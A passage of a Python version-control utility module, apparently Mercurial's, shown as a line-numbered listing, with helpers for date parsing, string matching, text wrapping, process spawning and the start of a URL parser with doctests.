1884 1884 # because they use the gmtime() system call which is buggy on Windows
1885 1885 # for negative values.
1886 1886 t = datetime.datetime(1970, 1, 1) + datetime.timedelta(seconds=d)
1887 1887 s = encoding.strtolocal(t.strftime(encoding.strfromlocal(format)))
1888 1888 return s
1889 1889
1890 1890 def shortdate(date=None):
1891 1891 """turn (timestamp, tzoff) tuple into iso 8631 date."""
1892 1892 return datestr(date, format='%Y-%m-%d')
1893 1893
1894 1894 def parsetimezone(s):
1895 1895 """find a trailing timezone, if any, in string, and return a
1896 1896 (offset, remainder) pair"""
1897 1897
1898 1898 if s.endswith("GMT") or s.endswith("UTC"):
1899 1899 return 0, s[:-3].rstrip()
1900 1900
1901 1901 # Unix-style timezones [+-]hhmm
1902 1902 if len(s) >= 5 and s[-5] in "+-" and s[-4:].isdigit():
1903 1903 sign = (s[-5] == "+") and 1 or -1
1904 1904 hours = int(s[-4:-2])
1905 1905 minutes = int(s[-2:])
1906 1906 return -sign * (hours * 60 + minutes) * 60, s[:-5].rstrip()
1907 1907
1908 1908 # ISO8601 trailing Z
1909 1909 if s.endswith("Z") and s[-2:-1].isdigit():
1910 1910 return 0, s[:-1]
1911 1911
1912 1912 # ISO8601-style [+-]hh:mm
1913 1913 if (len(s) >= 6 and s[-6] in "+-" and s[-3] == ":" and
1914 1914 s[-5:-3].isdigit() and s[-2:].isdigit()):
1915 1915 sign = (s[-6] == "+") and 1 or -1
1916 1916 hours = int(s[-5:-3])
1917 1917 minutes = int(s[-2:])
1918 1918 return -sign * (hours * 60 + minutes) * 60, s[:-6]
1919 1919
1920 1920 return None, s
1921 1921
1922 1922 def strdate(string, format, defaults=None):
1923 1923 """parse a localized time string and return a (unixtime, offset) tuple.
1924 1924 if the string cannot be parsed, ValueError is raised."""
1925 1925 if defaults is None:
1926 1926 defaults = {}
1927 1927
1928 1928 # NOTE: unixtime = localunixtime + offset
1929 1929 offset, date = parsetimezone(string)
1930 1930
1931 1931 # add missing elements from defaults
1932 1932 usenow = False # default to using biased defaults
1933 1933 for part in ("S", "M", "HI", "d", "mb", "yY"): # decreasing specificity
1934 1934 part = pycompat.bytestr(part)
1935 1935 found = [True for p in part if ("%"+p) in format]
1936 1936 if not found:
1937 1937 date += "@" + defaults[part][usenow]
1938 1938 format += "@%" + part[0]
1939 1939 else:
1940 1940 # We've found a specific time element, less specific time
1941 1941 # elements are relative to today
1942 1942 usenow = True
1943 1943
1944 1944 timetuple = time.strptime(encoding.strfromlocal(date),
1945 1945 encoding.strfromlocal(format))
1946 1946 localunixtime = int(calendar.timegm(timetuple))
1947 1947 if offset is None:
1948 1948 # local timezone
1949 1949 unixtime = int(time.mktime(timetuple))
1950 1950 offset = unixtime - localunixtime
1951 1951 else:
1952 1952 unixtime = localunixtime + offset
1953 1953 return unixtime, offset
1954 1954
1955 1955 def parsedate(date, formats=None, bias=None):
1956 1956 """parse a localized date/time and return a (unixtime, offset) tuple.
1957 1957
1958 1958 The date may be a "unixtime offset" string or in one of the specified
1959 1959 formats. If the date already is a (unixtime, offset) tuple, it is returned.
1960 1960
1961 1961 >>> parsedate(' today ') == parsedate(\
1962 1962 datetime.date.today().strftime('%b %d'))
1963 1963 True
1964 1964 >>> parsedate( 'yesterday ') == parsedate((datetime.date.today() -\
1965 1965 datetime.timedelta(days=1)\
1966 1966 ).strftime('%b %d'))
1967 1967 True
1968 1968 >>> now, tz = makedate()
1969 1969 >>> strnow, strtz = parsedate('now')
1970 1970 >>> (strnow - now) < 1
1971 1971 True
1972 1972 >>> tz == strtz
1973 1973 True
1974 1974 """
1975 1975 if bias is None:
1976 1976 bias = {}
1977 1977 if not date:
1978 1978 return 0, 0
1979 1979 if isinstance(date, tuple) and len(date) == 2:
1980 1980 return date
1981 1981 if not formats:
1982 1982 formats = defaultdateformats
1983 1983 date = date.strip()
1984 1984
1985 1985 if date == 'now' or date == _('now'):
1986 1986 return makedate()
1987 1987 if date == 'today' or date == _('today'):
1988 1988 date = datetime.date.today().strftime('%b %d')
1989 1989 elif date == 'yesterday' or date == _('yesterday'):
1990 1990 date = (datetime.date.today() -
1991 1991 datetime.timedelta(days=1)).strftime('%b %d')
1992 1992
1993 1993 try:
1994 1994 when, offset = map(int, date.split(' '))
1995 1995 except ValueError:
1996 1996 # fill out defaults
1997 1997 now = makedate()
1998 1998 defaults = {}
1999 1999 for part in ("d", "mb", "yY", "HI", "M", "S"):
2000 2000 # this piece is for rounding the specific end of unknowns
2001 2001 b = bias.get(part)
2002 2002 if b is None:
2003 2003 if part[0:1] in "HMS":
2004 2004 b = "00"
2005 2005 else:
2006 2006 b = "0"
2007 2007
2008 2008 # this piece is for matching the generic end to today's date
2009 2009 n = datestr(now, "%" + part[0:1])
2010 2010
2011 2011 defaults[part] = (b, n)
2012 2012
2013 2013 for format in formats:
2014 2014 try:
2015 2015 when, offset = strdate(date, format, defaults)
2016 2016 except (ValueError, OverflowError):
2017 2017 pass
2018 2018 else:
2019 2019 break
2020 2020 else:
2021 2021 raise error.ParseError(_('invalid date: %r') % date)
2022 2022 # validate explicit (probably user-specified) date and
2023 2023 # time zone offset. values must fit in signed 32 bits for
2024 2024 # current 32-bit linux runtimes. timezones go from UTC-12
2025 2025 # to UTC+14
2026 2026 if when < -0x80000000 or when > 0x7fffffff:
2027 2027 raise error.ParseError(_('date exceeds 32 bits: %d') % when)
2028 2028 if offset < -50400 or offset > 43200:
2029 2029 raise error.ParseError(_('impossible time zone offset: %d') % offset)
2030 2030 return when, offset
2031 2031
2032 2032 def matchdate(date):
2033 2033 """Return a function that matches a given date match specifier
2034 2034
2035 2035 Formats include:
2036 2036
2037 2037 '{date}' match a given date to the accuracy provided
2038 2038
2039 2039 '<{date}' on or before a given date
2040 2040
2041 2041 '>{date}' on or after a given date
2042 2042
2043 2043 >>> p1 = parsedate("10:29:59")
2044 2044 >>> p2 = parsedate("10:30:00")
2045 2045 >>> p3 = parsedate("10:30:59")
2046 2046 >>> p4 = parsedate("10:31:00")
2047 2047 >>> p5 = parsedate("Sep 15 10:30:00 1999")
2048 2048 >>> f = matchdate("10:30")
2049 2049 >>> f(p1[0])
2050 2050 False
2051 2051 >>> f(p2[0])
2052 2052 True
2053 2053 >>> f(p3[0])
2054 2054 True
2055 2055 >>> f(p4[0])
2056 2056 False
2057 2057 >>> f(p5[0])
2058 2058 False
2059 2059 """
2060 2060
2061 2061 def lower(date):
2062 2062 d = {'mb': "1", 'd': "1"}
2063 2063 return parsedate(date, extendeddateformats, d)[0]
2064 2064
2065 2065 def upper(date):
2066 2066 d = {'mb': "12", 'HI': "23", 'M': "59", 'S': "59"}
2067 2067 for days in ("31", "30", "29"):
2068 2068 try:
2069 2069 d["d"] = days
2070 2070 return parsedate(date, extendeddateformats, d)[0]
2071 2071 except Abort:
2072 2072 pass
2073 2073 d["d"] = "28"
2074 2074 return parsedate(date, extendeddateformats, d)[0]
2075 2075
2076 2076 date = date.strip()
2077 2077
2078 2078 if not date:
2079 2079 raise Abort(_("dates cannot consist entirely of whitespace"))
2080 2080 elif date[0] == "<":
2081 2081 if not date[1:]:
2082 2082 raise Abort(_("invalid day spec, use '<DATE'"))
2083 2083 when = upper(date[1:])
2084 2084 return lambda x: x <= when
2085 2085 elif date[0] == ">":
2086 2086 if not date[1:]:
2087 2087 raise Abort(_("invalid day spec, use '>DATE'"))
2088 2088 when = lower(date[1:])
2089 2089 return lambda x: x >= when
2090 2090 elif date[0] == "-":
2091 2091 try:
2092 2092 days = int(date[1:])
2093 2093 except ValueError:
2094 2094 raise Abort(_("invalid day spec: %s") % date[1:])
2095 2095 if days < 0:
2096 2096 raise Abort(_("%s must be nonnegative (see 'hg help dates')")
2097 2097 % date[1:])
2098 2098 when = makedate()[0] - days * 3600 * 24
2099 2099 return lambda x: x >= when
2100 2100 elif " to " in date:
2101 2101 a, b = date.split(" to ")
2102 2102 start, stop = lower(a), upper(b)
2103 2103 return lambda x: x >= start and x <= stop
2104 2104 else:
2105 2105 start, stop = lower(date), upper(date)
2106 2106 return lambda x: x >= start and x <= stop
2107 2107
2108 2108 def stringmatcher(pattern, casesensitive=True):
2109 2109 """
2110 2110 accepts a string, possibly starting with 're:' or 'literal:' prefix.
2111 2111 returns the matcher name, pattern, and matcher function.
2112 2112 missing or unknown prefixes are treated as literal matches.
2113 2113
2114 2114 helper for tests:
2115 2115 >>> def test(pattern, *tests):
2116 2116 ... kind, pattern, matcher = stringmatcher(pattern)
2117 2117 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2118 2118 >>> def itest(pattern, *tests):
2119 2119 ... kind, pattern, matcher = stringmatcher(pattern, casesensitive=False)
2120 2120 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2121 2121
2122 2122 exact matching (no prefix):
2123 2123 >>> test('abcdefg', 'abc', 'def', 'abcdefg')
2124 2124 ('literal', 'abcdefg', [False, False, True])
2125 2125
2126 2126 regex matching ('re:' prefix)
2127 2127 >>> test('re:a.+b', 'nomatch', 'fooadef', 'fooadefbar')
2128 2128 ('re', 'a.+b', [False, False, True])
2129 2129
2130 2130 force exact matches ('literal:' prefix)
2131 2131 >>> test('literal:re:foobar', 'foobar', 're:foobar')
2132 2132 ('literal', 're:foobar', [False, True])
2133 2133
2134 2134 unknown prefixes are ignored and treated as literals
2135 2135 >>> test('foo:bar', 'foo', 'bar', 'foo:bar')
2136 2136 ('literal', 'foo:bar', [False, False, True])
2137 2137
2138 2138 case insensitive regex matches
2139 2139 >>> itest('re:A.+b', 'nomatch', 'fooadef', 'fooadefBar')
2140 2140 ('re', 'A.+b', [False, False, True])
2141 2141
2142 2142 case insensitive literal matches
2143 2143 >>> itest('ABCDEFG', 'abc', 'def', 'abcdefg')
2144 2144 ('literal', 'ABCDEFG', [False, False, True])
2145 2145 """
2146 2146 if pattern.startswith('re:'):
2147 2147 pattern = pattern[3:]
2148 2148 try:
2149 2149 flags = 0
2150 2150 if not casesensitive:
2151 2151 flags = remod.I
2152 2152 regex = remod.compile(pattern, flags)
2153 2153 except remod.error as e:
2154 2154 raise error.ParseError(_('invalid regular expression: %s')
2155 2155 % e)
2156 2156 return 're', pattern, regex.search
2157 2157 elif pattern.startswith('literal:'):
2158 2158 pattern = pattern[8:]
2159 2159
2160 2160 match = pattern.__eq__
2161 2161
2162 2162 if not casesensitive:
2163 2163 ipat = encoding.lower(pattern)
2164 2164 match = lambda s: ipat == encoding.lower(s)
2165 2165 return 'literal', pattern, match
2166 2166
2167 2167 def shortuser(user):
2168 2168 """Return a short representation of a user name or email address."""
2169 2169 f = user.find('@')
2170 2170 if f >= 0:
2171 2171 user = user[:f]
2172 2172 f = user.find('<')
2173 2173 if f >= 0:
2174 2174 user = user[f + 1:]
2175 2175 f = user.find(' ')
2176 2176 if f >= 0:
2177 2177 user = user[:f]
2178 2178 f = user.find('.')
2179 2179 if f >= 0:
2180 2180 user = user[:f]
2181 2181 return user
2182 2182
2183 2183 def emailuser(user):
2184 2184 """Return the user portion of an email address."""
2185 2185 f = user.find('@')
2186 2186 if f >= 0:
2187 2187 user = user[:f]
2188 2188 f = user.find('<')
2189 2189 if f >= 0:
2190 2190 user = user[f + 1:]
2191 2191 return user
2192 2192
2193 2193 def email(author):
2194 2194 '''get email of author.'''
2195 2195 r = author.find('>')
2196 2196 if r == -1:
2197 2197 r = None
2198 2198 return author[author.find('<') + 1:r]
2199 2199
2200 2200 def ellipsis(text, maxlength=400):
2201 2201 """Trim string to at most maxlength (default: 400) columns in display."""
2202 2202 return encoding.trim(text, maxlength, ellipsis='...')
2203 2203
2204 2204 def unitcountfn(*unittable):
2205 2205 '''return a function that renders a readable count of some quantity'''
2206 2206
2207 2207 def go(count):
2208 2208 for multiplier, divisor, format in unittable:
2209 2209 if abs(count) >= divisor * multiplier:
2210 2210 return format % (count / float(divisor))
2211 2211 return unittable[-1][2] % count
2212 2212
2213 2213 return go
2214 2214
2215 2215 def processlinerange(fromline, toline):
2216 2216 """Check that linerange <fromline>:<toline> makes sense and return a
2217 2217 0-based range.
2218 2218
2219 2219 >>> processlinerange(10, 20)
2220 2220 (9, 20)
2221 2221 >>> processlinerange(2, 1)
2222 2222 Traceback (most recent call last):
2223 2223 ...
2224 2224 ParseError: line range must be positive
2225 2225 >>> processlinerange(0, 5)
2226 2226 Traceback (most recent call last):
2227 2227 ...
2228 2228 ParseError: fromline must be strictly positive
2229 2229 """
2230 2230 if toline - fromline < 0:
2231 2231 raise error.ParseError(_("line range must be positive"))
2232 2232 if fromline < 1:
2233 2233 raise error.ParseError(_("fromline must be strictly positive"))
2234 2234 return fromline - 1, toline
2235 2235
2236 2236 bytecount = unitcountfn(
2237 2237 (100, 1 << 30, _('%.0f GB')),
2238 2238 (10, 1 << 30, _('%.1f GB')),
2239 2239 (1, 1 << 30, _('%.2f GB')),
2240 2240 (100, 1 << 20, _('%.0f MB')),
2241 2241 (10, 1 << 20, _('%.1f MB')),
2242 2242 (1, 1 << 20, _('%.2f MB')),
2243 2243 (100, 1 << 10, _('%.0f KB')),
2244 2244 (10, 1 << 10, _('%.1f KB')),
2245 2245 (1, 1 << 10, _('%.2f KB')),
2246 2246 (1, 1, _('%.0f bytes')),
2247 2247 )
2248 2248
2249 2249 # Matches a single EOL which can either be a CRLF where repeated CR
2250 2250 # are removed or a LF. We do not care about old Macintosh files, so a
2251 2251 # stray CR is an error.
2252 2252 _eolre = remod.compile(br'\r*\n')
2253 2253
2254 2254 def tolf(s):
2255 2255 return _eolre.sub('\n', s)
2256 2256
2257 2257 def tocrlf(s):
2258 2258 return _eolre.sub('\r\n', s)
2259 2259
2260 2260 if pycompat.oslinesep == '\r\n':
2261 2261 tonativeeol = tocrlf
2262 2262 fromnativeeol = tolf
2263 2263 else:
2264 2264 tonativeeol = pycompat.identity
2265 2265 fromnativeeol = pycompat.identity
2266 2266
2267 2267 def escapestr(s):
2268 2268 # call underlying function of s.encode('string_escape') directly for
2269 2269 # Python 3 compatibility
2270 2270 return codecs.escape_encode(s)[0]
2271 2271
2272 2272 def unescapestr(s):
2273 2273 return codecs.escape_decode(s)[0]
2274 2274
2275 2275 def uirepr(s):
2276 2276 # Avoid double backslash in Windows path repr()
2277 2277 return repr(s).replace('\\\\', '\\')
2278 2278
2279 2279 # delay import of textwrap
2280 2280 def MBTextWrapper(**kwargs):
2281 2281 class tw(textwrap.TextWrapper):
2282 2282 """
2283 2283 Extend TextWrapper for width-awareness.
2284 2284
2285 2285 Neither number of 'bytes' in any encoding nor 'characters' is
2286 2286 appropriate to calculate terminal columns for specified string.
2287 2287
2288 2288 Original TextWrapper implementation uses built-in 'len()' directly,
2289 2289 so overriding is needed to use width information of each characters.
2290 2290
2291 2291 In addition, characters classified into 'ambiguous' width are
2292 2292 treated as wide in East Asian area, but as narrow in other.
2293 2293
2294 2294 This requires use decision to determine width of such characters.
2295 2295 """
2296 2296 def _cutdown(self, ucstr, space_left):
2297 2297 l = 0
2298 2298 colwidth = encoding.ucolwidth
2299 2299 for i in xrange(len(ucstr)):
2300 2300 l += colwidth(ucstr[i])
2301 2301 if space_left < l:
2302 2302 return (ucstr[:i], ucstr[i:])
2303 2303 return ucstr, ''
2304 2304
2305 2305 # overriding of base class
2306 2306 def _handle_long_word(self, reversed_chunks, cur_line, cur_len, width):
2307 2307 space_left = max(width - cur_len, 1)
2308 2308
2309 2309 if self.break_long_words:
2310 2310 cut, res = self._cutdown(reversed_chunks[-1], space_left)
2311 2311 cur_line.append(cut)
2312 2312 reversed_chunks[-1] = res
2313 2313 elif not cur_line:
2314 2314 cur_line.append(reversed_chunks.pop())
2315 2315
2316 2316 # this overriding code is imported from TextWrapper of Python 2.6
2317 2317 # to calculate columns of string by 'encoding.ucolwidth()'
2318 2318 def _wrap_chunks(self, chunks):
2319 2319 colwidth = encoding.ucolwidth
2320 2320
2321 2321 lines = []
2322 2322 if self.width <= 0:
2323 2323 raise ValueError("invalid width %r (must be > 0)" % self.width)
2324 2324
2325 2325 # Arrange in reverse order so items can be efficiently popped
2326 2326 # from a stack of chucks.
2327 2327 chunks.reverse()
2328 2328
2329 2329 while chunks:
2330 2330
2331 2331 # Start the list of chunks that will make up the current line.
2332 2332 # cur_len is just the length of all the chunks in cur_line.
2333 2333 cur_line = []
2334 2334 cur_len = 0
2335 2335
2336 2336 # Figure out which static string will prefix this line.
2337 2337 if lines:
2338 2338 indent = self.subsequent_indent
2339 2339 else:
2340 2340 indent = self.initial_indent
2341 2341
2342 2342 # Maximum width for this line.
2343 2343 width = self.width - len(indent)
2344 2344
2345 2345 # First chunk on line is whitespace -- drop it, unless this
2346 2346 # is the very beginning of the text (i.e. no lines started yet).
2347 2347 if self.drop_whitespace and chunks[-1].strip() == r'' and lines:
2348 2348 del chunks[-1]
2349 2349
2350 2350 while chunks:
2351 2351 l = colwidth(chunks[-1])
2352 2352
2353 2353 # Can at least squeeze this chunk onto the current line.
2354 2354 if cur_len + l <= width:
2355 2355 cur_line.append(chunks.pop())
2356 2356 cur_len += l
2357 2357
2358 2358 # Nope, this line is full.
2359 2359 else:
2360 2360 break
2361 2361
2362 2362 # The current line is full, and the next chunk is too big to
2363 2363 # fit on *any* line (not just this one).
2364 2364 if chunks and colwidth(chunks[-1]) > width:
2365 2365 self._handle_long_word(chunks, cur_line, cur_len, width)
2366 2366
2367 2367 # If the last chunk on this line is all whitespace, drop it.
2368 2368 if (self.drop_whitespace and
2369 2369 cur_line and cur_line[-1].strip() == r''):
2370 2370 del cur_line[-1]
2371 2371
2372 2372 # Convert current line back to a string and store it in list
2373 2373 # of all lines (return value).
2374 2374 if cur_line:
2375 2375 lines.append(indent + r''.join(cur_line))
2376 2376
2377 2377 return lines
2378 2378
2379 2379 global MBTextWrapper
2380 2380 MBTextWrapper = tw
2381 2381 return tw(**kwargs)
2382 2382
2383 2383 def wrap(line, width, initindent='', hangindent=''):
2384 2384 maxindent = max(len(hangindent), len(initindent))
2385 2385 if width <= maxindent:
2386 2386 # adjust for weird terminal size
2387 2387 width = max(78, maxindent + 1)
2388 2388 line = line.decode(pycompat.sysstr(encoding.encoding),
2389 2389 pycompat.sysstr(encoding.encodingmode))
2390 2390 initindent = initindent.decode(pycompat.sysstr(encoding.encoding),
2391 2391 pycompat.sysstr(encoding.encodingmode))
2392 2392 hangindent = hangindent.decode(pycompat.sysstr(encoding.encoding),
2393 2393 pycompat.sysstr(encoding.encodingmode))
2394 2394 wrapper = MBTextWrapper(width=width,
2395 2395 initial_indent=initindent,
2396 2396 subsequent_indent=hangindent)
2397 2397 return wrapper.fill(line).encode(pycompat.sysstr(encoding.encoding))
2398 2398
2399 2399 if (pyplatform.python_implementation() == 'CPython' and
2400 2400 sys.version_info < (3, 0)):
2401 2401 # There is an issue in CPython that some IO methods do not handle EINTR
2402 2402 # correctly. The following table shows what CPython version (and functions)
2403 2403 # are affected (buggy: has the EINTR bug, okay: otherwise):
2404 2404 #
2405 2405 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2406 2406 # --------------------------------------------------
2407 2407 # fp.__iter__ | buggy | buggy | okay
2408 2408 # fp.read* | buggy | okay [1] | okay
2409 2409 #
2410 2410 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2411 2411 #
2412 2412 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2413 2413 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2414 2414 #
2415 2415 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2416 2416 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2417 2417 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2418 2418 # fp.__iter__ but not other fp.read* methods.
2419 2419 #
2420 2420 # On modern systems like Linux, the "read" syscall cannot be interrupted
2421 2421 # when reading "fast" files like on-disk files. So the EINTR issue only
2422 2422 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2423 2423 # files approximately as "fast" files and use the fast (unsafe) code path,
2424 2424 # to minimize the performance impact.
2425 2425 if sys.version_info >= (2, 7, 4):
2426 2426 # fp.readline deals with EINTR correctly, use it as a workaround.
2427 2427 def _safeiterfile(fp):
2428 2428 return iter(fp.readline, '')
2429 2429 else:
2430 2430 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2431 2431 # note: this may block longer than necessary because of bufsize.
2432 2432 def _safeiterfile(fp, bufsize=4096):
2433 2433 fd = fp.fileno()
2434 2434 line = ''
2435 2435 while True:
2436 2436 try:
2437 2437 buf = os.read(fd, bufsize)
2438 2438 except OSError as ex:
2439 2439 # os.read only raises EINTR before any data is read
2440 2440 if ex.errno == errno.EINTR:
2441 2441 continue
2442 2442 else:
2443 2443 raise
2444 2444 line += buf
2445 2445 if '\n' in buf:
2446 2446 splitted = line.splitlines(True)
2447 2447 line = ''
2448 2448 for l in splitted:
2449 2449 if l[-1] == '\n':
2450 2450 yield l
2451 2451 else:
2452 2452 line = l
2453 2453 if not buf:
2454 2454 break
2455 2455 if line:
2456 2456 yield line
2457 2457
2458 2458 def iterfile(fp):
2459 2459 fastpath = True
2460 2460 if type(fp) is file:
2461 2461 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2462 2462 if fastpath:
2463 2463 return fp
2464 2464 else:
2465 2465 return _safeiterfile(fp)
2466 2466 else:
2467 2467 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2468 2468 def iterfile(fp):
2469 2469 return fp
2470 2470
2471 2471 def iterlines(iterator):
2472 2472 for chunk in iterator:
2473 2473 for line in chunk.splitlines():
2474 2474 yield line
2475 2475
2476 2476 def expandpath(path):
2477 2477 return os.path.expanduser(os.path.expandvars(path))
2478 2478
2479 2479 def hgcmd():
2480 2480 """Return the command used to execute current hg
2481 2481
2482 2482 This is different from hgexecutable() because on Windows we want
2483 2483 to avoid things opening new shell windows like batch files, so we
2484 2484 get either the python call or current executable.
2485 2485 """
2486 2486 if mainfrozen():
2487 2487 if getattr(sys, 'frozen', None) == 'macosx_app':
2488 2488 # Env variable set by py2app
2489 2489 return [encoding.environ['EXECUTABLEPATH']]
2490 2490 else:
2491 2491 return [pycompat.sysexecutable]
2492 2492 return gethgcmd()
2493 2493
2494 2494 def rundetached(args, condfn):
2495 2495 """Execute the argument list in a detached process.
2496 2496
2497 2497 condfn is a callable which is called repeatedly and should return
2498 2498 True once the child process is known to have started successfully.
2499 2499 At this point, the child process PID is returned. If the child
2500 2500 process fails to start or finishes before condfn() evaluates to
2501 2501 True, return -1.
2502 2502 """
2503 2503 # Windows case is easier because the child process is either
2504 2504 # successfully starting and validating the condition or exiting
2505 2505 # on failure. We just poll on its PID. On Unix, if the child
2506 2506 # process fails to start, it will be left in a zombie state until
2507 2507 # the parent wait on it, which we cannot do since we expect a long
2508 2508 # running process on success. Instead we listen for SIGCHLD telling
2509 2509 # us our child process terminated.
2510 2510 terminated = set()
2511 2511 def handler(signum, frame):
2512 2512 terminated.add(os.wait())
2513 2513 prevhandler = None
2514 2514 SIGCHLD = getattr(signal, 'SIGCHLD', None)
2515 2515 if SIGCHLD is not None:
2516 2516 prevhandler = signal.signal(SIGCHLD, handler)
2517 2517 try:
2518 2518 pid = spawndetached(args)
2519 2519 while not condfn():
2520 2520 if ((pid in terminated or not testpid(pid))
2521 2521 and not condfn()):
2522 2522 return -1
2523 2523 time.sleep(0.1)
2524 2524 return pid
2525 2525 finally:
2526 2526 if prevhandler is not None:
2527 2527 signal.signal(signal.SIGCHLD, prevhandler)
2528 2528
2529 2529 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2530 2530 """Return the result of interpolating items in the mapping into string s.
2531 2531
2532 2532 prefix is a single character string, or a two character string with
2533 2533 a backslash as the first character if the prefix needs to be escaped in
2534 2534 a regular expression.
2535 2535
2536 2536 fn is an optional function that will be applied to the replacement text
2537 2537 just before replacement.
2538 2538
2539 2539 escape_prefix is an optional flag that allows using doubled prefix for
2540 2540 its escaping.
2541 2541 """
2542 2542 fn = fn or (lambda s: s)
2543 2543 patterns = '|'.join(mapping.keys())
2544 2544 if escape_prefix:
2545 2545 patterns += '|' + prefix
2546 2546 if len(prefix) > 1:
2547 2547 prefix_char = prefix[1:]
2548 2548 else:
2549 2549 prefix_char = prefix
2550 2550 mapping[prefix_char] = prefix_char
2551 2551 r = remod.compile(r'%s(%s)' % (prefix, patterns))
2552 2552 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2553 2553
2554 2554 def getport(port):
2555 2555 """Return the port for a given network service.
2556 2556
2557 2557 If port is an integer, it's returned as is. If it's a string, it's
2558 2558 looked up using socket.getservbyname(). If there's no matching
2559 2559 service, error.Abort is raised.
2560 2560 """
2561 2561 try:
2562 2562 return int(port)
2563 2563 except ValueError:
2564 2564 pass
2565 2565
2566 2566 try:
2567 2567 return socket.getservbyname(port)
2568 2568 except socket.error:
2569 2569 raise Abort(_("no port number associated with service '%s'") % port)
2570 2570
2571 2571 _booleans = {'1': True, 'yes': True, 'true': True, 'on': True, 'always': True,
2572 2572 '0': False, 'no': False, 'false': False, 'off': False,
2573 2573 'never': False}
2574 2574
2575 2575 def parsebool(s):
2576 2576 """Parse s into a boolean.
2577 2577
2578 2578 If s is not a valid boolean, returns None.
2579 2579 """
2580 2580 return _booleans.get(s.lower(), None)
2581 2581
2582 2582 _hextochr = dict((a + b, chr(int(a + b, 16)))
2583 2583 for a in string.hexdigits for b in string.hexdigits)
2584 2584
2585 2585 class url(object):
2586 2586 r"""Reliable URL parser.
2587 2587
2588 2588 This parses URLs and provides attributes for the following
2589 2589 components:
2590 2590
2591 2591 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2592 2592
2593 2593 Missing components are set to None. The only exception is
2594 2594 fragment, which is set to '' if present but empty.
2595 2595
2596 2596 If parsefragment is False, fragment is included in query. If
2597 2597 parsequery is False, query is included in path. If both are
2598 2598 False, both fragment and query are included in path.
2599 2599
2600 2600 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2601 2601
2602 2602 Note that for backward compatibility reasons, bundle URLs do not
2603 2603 take host names. That means 'bundle://../' has a path of '../'.
2604 2604
2605 2605 Examples:
2606 2606
2607 2607 >>> url('http://www.ietf.org/rfc/rfc2396.txt')
2608 2608 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2609 2609 >>> url('ssh://[::1]:2200//home/joe/repo')
2610 2610 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2611 2611 >>> url('file:///home/joe/repo')
2612 2612 <url scheme: 'file', path: '/home/joe/repo'>
2613 2613 >>> url('file:///c:/temp/foo/')
2614 2614 <url scheme: 'file', path: 'c:/temp/foo/'>
2615 2615 >>> url('bundle:foo')
2616 2616 <url scheme: 'bundle', path: 'foo'>
2617 2617 >>> url('bundle://../foo')
2618 2618 <url scheme: 'bundle', path: '../foo'>
2619 2619 >>> url(r'c:\foo\bar')
2620 2620 <url path: 'c:\\foo\\bar'>
2621 2621 >>> url(r'\\blah\blah\blah')
2622 2622 <url path: '\\\\blah\\blah\\blah'>
2623 2623 >>> url(r'\\blah\blah\blah#baz')
2624 2624 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2625 2625 >>> url(r'file:///C:\users\me')
2626 2626 <url scheme: 'file', path: 'C:\\users\\me'>
2627 2627
2628 2628 Authentication credentials:
2629 2629
2630 2630 >>> url('ssh://joe:xyz@x/repo')
2631 2631 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2632 2632 >>> url('ssh://joe@x/repo')
2633 2633 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2634 2634
2635 2635 Query strings and fragments:
2636 2636
2637 2637 >>> url('http://host/a?b#c')
2638 2638 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2639 2639 >>> url('http://host/a?b#c', parsequery=False, parsefragment=False)
2640 2640 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2641 2641
2642 2642 Empty path:
2643 2643
2644 2644 >>> url('')
2645 2645 <url path: ''>
2646 2646 >>> url('#a')
2647 2647 <url path: '', fragment: 'a'>
2648 2648 >>> url('http://host/')
2649 2649 <url scheme: 'http', host: 'host', path: ''>
2650 2650 >>> url('http://host/#a')
2651 2651 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2652 2652
2653 2653 Only scheme:
2654 2654
2655 2655 >>> url('http:')
2656 2656 <url scheme: 'http'>
2657 2657 """
2658 2658
2659 2659 _safechars = "!~*'()+"
2660 2660 _safepchars = "/!~*'()+:\\"
2661 2661 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2662 2662
2663 2663 def __init__(self, path, parsequery=True, parsefragment=True):
2664 2664 # We slowly chomp away at path until we have only the path left
2665 2665 self.scheme = self.user = self.passwd = self.host = None
2666 2666 self.port = self.path = self.query = self.fragment = None
2667 2667 self._localpath = True
2668 2668 self._hostport = ''
2669 2669 self._origpath = path
2670 2670
2671 2671 if parsefragment and '#' in path:
2672 2672 path, self.fragment = path.split('#', 1)
2673 2673
2674 2674 # special case for Windows drive letters and UNC paths
2675 2675 if hasdriveletter(path) or path.startswith('\\\\'):
2676 2676 self.path = path
2677 2677 return
2678 2678
2679 2679 # For compatibility reasons, we can't handle bundle paths as
2680 2680 # normal URLS
2681 2681 if path.startswith('bundle:'):
2682 2682 self.scheme = 'bundle'
2683 2683 path = path[7:]
2684 2684 if path.startswith('//'):
2685 2685 path = path[2:]
2686 2686 self.path = path
2687 2687 return
2688 2688
2689 2689 if self._matchscheme(path):
2690 2690 parts = path.split(':', 1)
2691 2691 if parts[0]:
2692 2692 self.scheme, path = parts
2693 2693 self._localpath = False
2694 2694
2695 2695 if not path:
2696 2696 path = None
